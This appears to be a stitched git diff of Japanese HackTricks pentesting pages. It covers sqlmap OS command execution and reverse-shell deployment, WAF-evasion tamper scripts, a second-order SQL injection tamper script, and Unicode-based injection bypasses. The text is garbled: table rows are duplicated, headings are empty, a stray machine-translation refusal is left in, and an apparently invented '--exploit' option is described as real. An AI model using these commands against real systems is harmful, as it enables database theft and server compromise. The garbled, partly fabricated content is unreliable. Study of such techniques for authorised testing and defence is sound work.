このオプションを使用すると、SQLMapは対象のシステムを完全に乗っ取ります。これにより、対象のシステムで任意のコマンドを実行することができます。
```bash
sqlmap -u <target> --os-pwn
```
### `--os-bof`
このオプションを使用すると、SQLMapは対象のシステムでバッファオーバーフローを引き起こします。これにより、対象のシステムをクラッシュさせることができます。
```bash
sqlmap -u <target> --os-bof
```
これらのオプションを使用する際には、慎重に行動し、法的な制約を遵守することを忘れないでください。
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -318,55 +98,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## SQLmapを使用してウェブサイトをクロールし、自動的にエクスプロイトする
SQLmap is a powerful tool for automating the process of detecting and exploiting SQL injection vulnerabilities in web applications. In this section, we will learn how to use SQLmap to crawl a website and automatically exploit any SQL injection vulnerabilities that are found.
SQLmapは、ウェブアプリケーションのSQLインジェクション脆弱性を検出し、エクスプロイトするプロセスを自動化する強力なツールです。このセクションでは、SQLmapを使用してウェブサイトをクロールし、見つかったSQLインジェクション脆弱性を自動的にエクスプロイトする方法を学びます。
### Crawling a website with SQLmap
SQLmap has a built-in feature that allows it to crawl a website and discover all the available pages. This can be useful when you want to identify potential targets for SQL injection attacks.
To crawl a website with SQLmap, you can use the following command:
```
sqlmap -u <target_url> --crawl=<depth>
```
- `<target_url>`: The URL of the website you want to crawl.
- `<depth>`: The depth of the crawling process (optional). By default, SQLmap will crawl up to a depth of 3.
For example, to crawl a website at `http://example.com` up to a depth of 5, you can use the following command:
```
sqlmap -u http://example.com --crawl=5
```
### Auto-exploiting SQL injection vulnerabilities
Once SQLmap has crawled a website and identified SQL injection vulnerabilities, it can automatically exploit them to extract data from the database or perform other malicious actions.
To auto-exploit SQL injection vulnerabilities with SQLmap, you can use the following command:
```
sqlmap -u <target_url> --exploit=<exploit_options>
```
- `<target_url>`: The URL of the website with the SQL injection vulnerability.
- `<exploit_options>`: Additional options to customize the exploitation process (optional).
For example, to auto-exploit a SQL injection vulnerability on `http://example.com/vulnerable.php?id=1`, you can use the following command:
```
sqlmap -u http://example.com/vulnerable.php?id=1 --exploit
```
SQLmap will automatically detect and exploit the SQL injection vulnerability, allowing you to retrieve data from the database or perform other actions as specified by the exploit options.
### Conclusion
By using SQLmap to crawl a website and auto-exploit SQL injection vulnerabilities, you can efficiently identify and exploit potential security weaknesses in web applications. However, it is important to always obtain proper authorization before performing any penetration testing activities.
## SQLmapを使用してウェブサイトをクロールし、自動でエクスプロイト
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -374,273 +106,87 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
You can customize the injection by setting a suffix.
# インジェクションのカスタマイズ
To set a suffix, use the `--suffix` option followed by the desired suffix value.
For example, to set the suffix as `' OR '1'='1'--`, you can use the following command:
```
sqlmap -u <target_url> --suffix="' OR '1'='1'--"
```
This will append the suffix to the injected payload, allowing you to modify the behavior of the injection.
## サフィックスの設定
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
## プレフィックス
---
## Target
---
## ターゲット
---
## Introduction
---
## イントロダクション
---
## SQL Injection
---
## SQLインジェクション
---
## SQLMap
---
## SQLMap
---
## Installation
---
## インストール
---
## Basic Usage
---
## 基本的な使用方法
---
## Detecting SQL Injection Vulnerabilities
---
## SQLインジェクションの脆弱性の検出
---
## Enumerating Databases
---
## データベースの列挙
---
## Enumerating Tables
---
## テーブルの列挙
---
## Enumerating Columns
---
## 列の列挙
---
## Dumping Data
---
## データのダンプ
---
## Exploiting SQL Injection Vulnerabilities
---
## SQLインジェクションの脆弱性の悪用
---
## Command Execution
---
## コマンドの実行
---
## OS Shell
---
## OSシェル
---
## File Read/Write
---
## ファイルの読み書き
---
## Privilege Escalation
---
## 特権の昇格
---
## Conclusion
---
## 結論
Since the content you're referring to is not provided, I'm unable to translate it. Please provide the text you want to be translated into Japanese.
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
## ブールインジェクションの検出方法のヘルプ
Boolean-based SQL injectionブールベースのSQLインジェクションは、Webアプリケーションのセキュリティテスト中によく使用されるテクニックです。この攻撃は、真偽値trueまたはfalseを使用してSQLクエリの結果を制御することによって、データベースから情報を抽出します。
以下は、ブールインジェクションを検出するための手順です。
1. ユーザー入力の特定の箇所を特定します。これは、URLパラメータ、フォームフィールド、またはクッキーなどの場所に存在する可能性があります。
2. 特定したユーザー入力を使用して、SQLクエリを実行する場所を特定します。これは、データベースクエリを実行するコードの一部である可能性があります。
3. 特定したユーザー入力を使用して、SQLクエリにブール演算子AND、OR、NOTを挿入します。これにより、クエリの結果を制御できます。
4. クエリの結果に基づいて、真偽値を使用して条件を評価します。例えば、クエリが真の場合は正常な応答が返され、偽の場合はエラーメッセージが表示されるかもしれません。
5. ブールインジェクションが成功した場合、データベースから情報を抽出するための適切な真偽値を特定します。
ブールインジェクションは、データベースの機密情報を漏洩させる可能性があるため、セキュリティ上の重大な脆弱性です。セキュリティテスト中にこのテクニックを使用する際には、慎重に行う必要があります。
## ブール型インジェクションの見つけ方
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## タンパー
Tampering is a technique used to modify the behavior of SQLMap's payloads in order to bypass security measures or evade detection. SQLMap provides a variety of tamper scripts that can be used to alter the SQL injection payloads.
タンパリングは、セキュリティ対策を回避したり検出を回避するために、SQLMapのペイロードの動作を変更するための技術です。SQLMapは、SQLインジェクションのペイロードを変更するために使用できるさまざまなタンパースクリプトを提供しています。
To use a tamper script, you can specify it using the `--tamper` option followed by the name of the script. For example:
タンパースクリプトを使用するには、スクリプトの名前を指定するために`--tamper`オプションを使用します。例えば:
```
sqlmap -u http://example.com/index.php?id=1 --tamper=space2comment
```
This command will use the `space2comment` tamper script to modify the SQL injection payloads.
このコマンドは、SQLインジェクションのペイロードを変更するために`space2comment`タンパースクリプトを使用します。
You can also use multiple tamper scripts by separating them with a comma:
カンマで区切って複数のタンパースクリプトを使用することもできます。
```
sqlmap -u http://example.com/index.php?id=1 --tamper=space2comment,randomcase
```
In this example, both the `space2comment` and `randomcase` tamper scripts will be applied to the SQL injection payloads.
この例では、`space2comment`と`randomcase`の両方のタンパースクリプトがSQLインジェクションのペイロードに適用されます。
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | 説明 |
| :--- | :--- |
| apostrophemask.py | アポストロフィ文字をそのUTF-8全角対応文字に置き換えます |
| apostrophenullencode.py | アポストロフィ文字をその不正なダブルユニコード対応文字に置き換えます |
| apostrophemask.py | アポストロフィ文字をそのUTF-8全角対応に置き換えます |
| apostrophenullencode.py | アポストロフィ文字を不正なダブルユニコード対応に置き換えます |
| appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します |
| base64encode.py | 指定されたペイロード内のすべての文字をBase64でエンコードします |
| between.py | 大なり演算子 \('&gt;'\) 'NOT BETWEEN 0 AND \#' に置き換えます |
| bluecoat.py | SQL文の後にあるスペース文字を有効なランダムな空白文字に置き換えます。その後、文字 = をLIKE演算子に置き換えます |
| chardoubleencode.py | 指定されたペイロード内のすべての文字をダブルURLエンコードしますすでにエンコードされているものは処理しません) |
| commalesslimit.py | 'LIMIT M, N' のようなインスタンスを 'LIMIT N OFFSET M' に置き換えます |
| commalessmid.py | 'MID\(A, B, C\)' のようなインスタンスを 'MID\(A FROM B FOR C\)' に置き換えます |
| concat2concatws.py | 'CONCAT\(A, B\)' のようなインスタンスを 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' に置き換えます |
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードしますすでにエンコードされているものは処理しません) |
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされているものは処理しません)。"%u0022" |
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードしますすでにエンコードされているものは処理しません)。"\u0022" |
| equaltolike.py | すべての等号演算子 \('='\) を 'LIKE' 演算子に置き換えます |
| escapequotes.py | クォート文字 \(' and "\) をスラッシュでエスケープします |
| greatest.py | 大なり演算子 \('&gt;'\) 'GREATEST' に置き換えます |
| base64encode.py | 与えられたペイロードの全文字をBase64エンコードします |
| between.py | 大なり演算子('&gt;')を'NOT BETWEEN 0 AND #'に置き換えます |
| bluecoat.py | SQLステートメントの後のスペース文字を有効なランダムな空白文字に置き換え、その後'='文字をLIKE演算子に置き換えます |
| chardoubleencode.py | 与えられたペイロードの全文字をダブルURLエンコードします既にエンコードされているものは処理しません |
| commalesslimit.py | 'LIMIT M, N'のようなインスタンスを'LIMIT N OFFSET M'に置き換えます |
| commalessmid.py | 'MID(A, B, C)'のようなインスタンスを'MID(A FROM B FOR C)'に置き換えます |
| concat2concatws.py | 'CONCAT(A, B)'のようなインスタンスを'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'に置き換えます |
| charencode.py | 与えられたペイロードの全文字をURLエンコードします既にエンコードされているものは処理しません |
| charunicodeencode.py | 与えられたペイロードのエンコードされていない文字をUnicode-URLエンコードします既にエンコードされているものは処理しません。"%u0022" |
| charunicodeescape.py | 与えられたペイロードのエンコードされていない文字をUnicode-URLエンコードします既にエンコードされているものは処理しません。"\u0022" |
| equaltolike.py | 等号('=')の全ての出現を'LIKE'演算子に置き換えます |
| escapequotes.py | クォート(' と ")をスラッシュエスケープします |
| greatest.py | 大なり演算子('&gt;')を'GREATEST'に置き換えます |
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きのMySQLコメントを追加します |
| ifnull2ifisnull.py | 'IFNULL\(A, B\)' のようなインスタンスを 'IF\(ISNULL\(A\), B, A\)' に置き換えます |
| modsecurityversioned.py | バージョン付きコメントでクエリ全体を囲みます |
| modsecurityzeroversioned.py | ゼロバージョンのコメントでクエリ全体を囲みます |
| ifnull2ifisnull.py | 'IFNULL(A, B)'のようなインスタンスを'IF(ISNULL(A), B, A)'に置き換えます |
| modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます |
| modsecurityzeroversioned.py | 完全なクエリをゼロバージョンのコメントで囲みます |
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します |
| nonrecursivereplacement.py | 事前定義されたSQLキーワードを置換に適した表現に置き換えます.replace\("SELECT", ""\)\)フィルター |
| percentage.py | 各文字の前にパーセント記号 \('%'\) を追加します |
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされているものは処理しません) |
| randomcase.py | 各キーワード文字をランダムな大文字/小文字の値に置き換えます |
| nonrecursivereplacement.py | 事前定義されたSQLキーワードを置換に適した表現に置き換えます.replace("SELECT", "")フィルター) |
| percentage.py | 各文字の前にパーセンテージ記号('%')を追加します |
| overlongutf8.py | 与えられたペイロードの全文字を変換します(既にエンコードされているものは処理しません) |
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます |
| randomcomments.py | SQLキーワードにランダムなコメントを追加します |
| securesphere.py | 特別に作成された文字列を追加します |
| sp\_password.py | ペイロードの末尾に 'sp\_password' を追加して、DBMSログからの自動的な曖昧化を行います |
| space2comment.py | スペース文字 \(' '\) をコメントに置き換えます |
| space2dash.py | スペース文字 \(' '\) をダッシュコメント \('--'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します |
| space2hash.py | スペース文字 \(' '\) をパウンド文字 \('\#'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します |
| space2morehash.py | スペース文字 \(' '\) をパウンド文字 \('\#'\) に置き換え、その後にランダムな文字列と改行 \('\n'\) を追加します |
| space2mssqlblank.py | スペース文字 \(' '\) を有効な代替文字セットからランダムな空白文字に置き換えます |
| space2mssqlhash.py | スペース文字 \(' '\) をパウンド文字 \('\#'\) に置き換え、改行 \('\n'\) を追加します |
| space2mysqlblank.py | スペース文字 \(' '\) を有効な代替文字セットからランダムな空白文字に置き換えます |
| space2mysqldash.py | スペース文字 \(' '\) をダッシュコメント \('--'\) に置き換え、改行 \('\n'\) を追加します |
| space2plus.py | スペース文字 \(' '\) をプラス \('+'\) に置き換えます |
| space2randomblank.py | スペース文字 \(' '\) を有効な代替文字セットからランダムな空白文字に置き換えます |
| symboliclogical.py | ANDおよびOR論理演算子をそれぞれのシンボルに置き換えます \(&& および |
| unionalltounion.py | UNION ALL SELECT UNION SELECT に置き換えます |
| unmagicquotes.py | クォート文字 \('\) をマルチバイトコンボ %bf%27 と一緒にジェネリックコメントで置き換えます(動作させるために最後に |
| uppercase.py | 各キーワード文字を大文字に置き換えます 'INSERT' |
| varnish.py | HTTPヘッダー 'X-originating-IP' を追加します |
| securesphere.py | 特別に作られた文字列を追加します |
| sp_password.py | ペイロードの末尾に'sp_password'を追加して、DBMSログから自動的に難読化します |
| space2comment.py | スペース文字(' ')をコメントに置き換えます |
| space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します |
| space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します |
| space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します |
| space2mssqlblank.py | スペース文字(' ')を有効な代替文字セットからランダムな空白文字に置き換えます |
| space2mssqlhash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後に改行('\n')を追加します |
| space2mysqlblank.py | スペース文字(' ')を有効な代替文字セットからランダムな空白文字に置き換えます |
| space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後に改行('\n')を追加します |
| space2plus.py | スペース文字(' ')をプラス('+')に置き換えます |
| space2randomblank.py | スペース文字(' ')を有効な代替文字セットからランダムな空白文字に置き換えます |
| symboliclogical.py | ANDとORの論理演算子をそれぞれの記号対応(&& と \|)に置き換えます |
| unionalltounion.py | UNION ALL SELECTをUNION SELECTに置き換えます |
| unmagicquotes.py | クォート文字(')をマルチバイトの組み合わせ%bf%27に置き換え、最後に一般的なコメントを追加します動作させるため |
| uppercase.py | 各キーワード文字を大文字の値'INSERT'に置き換えます |
| varnish.py | HTTPヘッダー'X-originating-IP'を追加します |
| versionedkeywords.py | 関数でない各キーワードをバージョン付きのMySQLコメントで囲みます |
| versionedmorekeywords.py | 各キーワードをバージョン付きのMySQLコメントで囲みます |
| xforwardedfor.py | 偽のHTTPヘッダー 'X-Forwarded-For' を追加します |
| xforwardedfor.py | 偽のHTTPヘッダー'X-Forwarded-For'を追加します |
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、**独占的なNFT**のコレクションです。
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/
</details>

View file

@ -1,29 +1,27 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください!</strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加するか**、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローしてください。**
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
**SQLMapはセカンドオーダーSQLインジェクションを悪用することができます。**\
提供する必要があります:
**SQLMapはSecond Order SQLiを利用することができます。**\
以下を提供する必要があります:
* **SQLインジェクションペイロード**が保存される**リクエスト**
* **ペイロード**が**実行**される**リクエスト**
* **sqlinjectionペイロード**が保存される**リクエスト**
* **ペイロード**が**実行される**リクエスト
SQLインジェクションペイロードが保存されるリクエストは、**sqlmapの他のインジェクションと同様に指定**されます。インジェクションの出力/実行をsqlmapが読み取ることができるリクエストは、`--second-url`または`--second-req`で指定することができます(ファイルから完全なリクエストを指定する場合は`--second-req`を使用します)
SQLインジェクションペイロードが保存されるリクエストは、**sqlmapの他のインジェクションと同様に指定されます**。インジェクションの出力/実行を**sqlmapが読み取ることができる**リクエストは、`--second-url`またはファイルから完全なリクエストを指定する必要がある場合は`--second-req`で指定できます
**シンプルなセカンドオーダーの例:**
**シンプルなsecond orderの例:**
```bash
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
@ -31,9 +29,9 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
```
いくつかの場合、これだけでは十分ではありません。別のページにアクセスするだけでなく、**他のアクションを実行する必要があります**。
いくつかのケースでは、ペイロードを送信し、別のページにアクセスする以外に**他のアクションを実行する必要があります**。
れが必要な場合、**sqlmapのタンパー**を使用することができます。たとえば、次のスクリプトは、**sqlmapのペイロードをメールとして使用して**新しいユーザーを登録し、ログアウトします。
のような場合、**sqlmap tamper**を使用できます。例えば、以下のスクリプトは、**sqlmapのペイロードをメールとして使用して**新しいユーザーを登録し、ログアウトします。
```python
#!/usr/bin/env python
@ -61,16 +59,16 @@ headers = kwargs.get("headers", {})
login_account(payload)
return payload
```
**SQLMapのタンパーは、ペイロードを使用してインジェクションの試行を開始する前に常に実行され、ペイロードを返す必要があります。** この場合、ペイロード自体は気にせず、リクエストを送信することに関心がありますので、ペイロードは変更されません。
**SQLMapのタンパーは、ペイロードを使ったインジェクション試行を開始する前に常に実行され、ペイロードを返さなければなりません。** この場合、ペイロードには関心がありませんが、いくつかのリクエストを送信することが重要なので、ペイロードは変更されません。
したがって、セカンドオーダーSQLインジェクションを利用するためにより複雑なフローが必要な場合、次の手順を実行します
したがって、次のような複雑なフローが必要な場合、第二次SQLインジェクションを悪用するために
* "email"フィールドにSQLiペイロードを含むアカウントを作成しま
* ログアウトしま
* そのアカウントでログインしまlogin.txt
* SQLインジェクションを実行するためのリクエストを送信しまsecond.txt
* "email"フィールドにSQLiペイロードを含むアカウントを作成す
* ログアウトす
* そのアカウントでログインすlogin.txt
* SQLインジェクションを実行するリクエストを送信すsecond.txt
**次のsqlmapのコマンドラインが役立ちます:**
**このsqlmapコマンドラインが役立ちます:**
```bash
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
@ -87,16 +85,14 @@ sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>

View file

@ -2,50 +2,48 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**。
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
</details>
## はじめに
バックエンド/フロントエンドが**奇妙なUnicode文字**を受け取った場合、攻撃者は**保護をバイパスし、任意の文字を注入**することができる可能性があります。これは、XSSやSQLiなどの**注入脆弱性を悪用**するために使用できます。
バックエンド/フロントエンドが**変わったユニコード文字を受け取る**際の挙動によって、攻撃者は保護を**バイパスし、任意の文字を注入**することができるかもしれません。これにより、XSSやSQLiなどの**注入脆弱性を悪用**することができます。
## Unicode正規化
## ユニコード正規化
Unicode正規化は、**Unicode文字がASCII文字に正規化**されるときに発生します。
ユニコード正規化は、**ユニコード文字がASCII文字に正規化される**ときに発生します。
このタイプの脆弱性の一般的なシナリオは、システムがユーザーの入力を**チェックした後に入力を変更**している場合です。たとえば、一部の言語では、入力を**大文字または小文字に変換**する単純な呼び出しにより、指定された入力が正規化され、**UnicodeがASCIIに変換**されて新しい文字が生成される場合があります。\
詳細については、次を参照してください:
このタイプの脆弱性が発生する一般的なシナリオは、システムが**入力をチェックした後**に何らかの方法でユーザーの**入力を変更する**場合です。例えば、単純な呼び出しで**入力を大文字または小文字にする**と、与えられた入力が正規化され、**ユニコードがASCIIに変換され**新しい文字が生成されます。\
詳細については以下をチェックしてください:
{% content-ref url="unicode-normalization.md" %}
[unicode-normalization.md](unicode-normalization.md)
{% endcontent-ref %}
## `\u`から`%`へ
## `\u` から `%`
Unicode文字は通常、**`\u`接頭辞**で表されます。たとえば、文字`㱋`は`\u3c4b`です([ここで確認してください](https://unicode-explorer.com/c/3c4B))。バックエンドが接頭辞**`\u`を`%`に変換**する場合、結果の文字列は`%3c4b`になります。これはURLデコードされると、**`<4b`**になりますそして見ての通り、**`<`文字が注入**されます。\
バックエンドが脆弱であれば、このテクニックを使用して**任意の種類の文字を注入**することができます。\
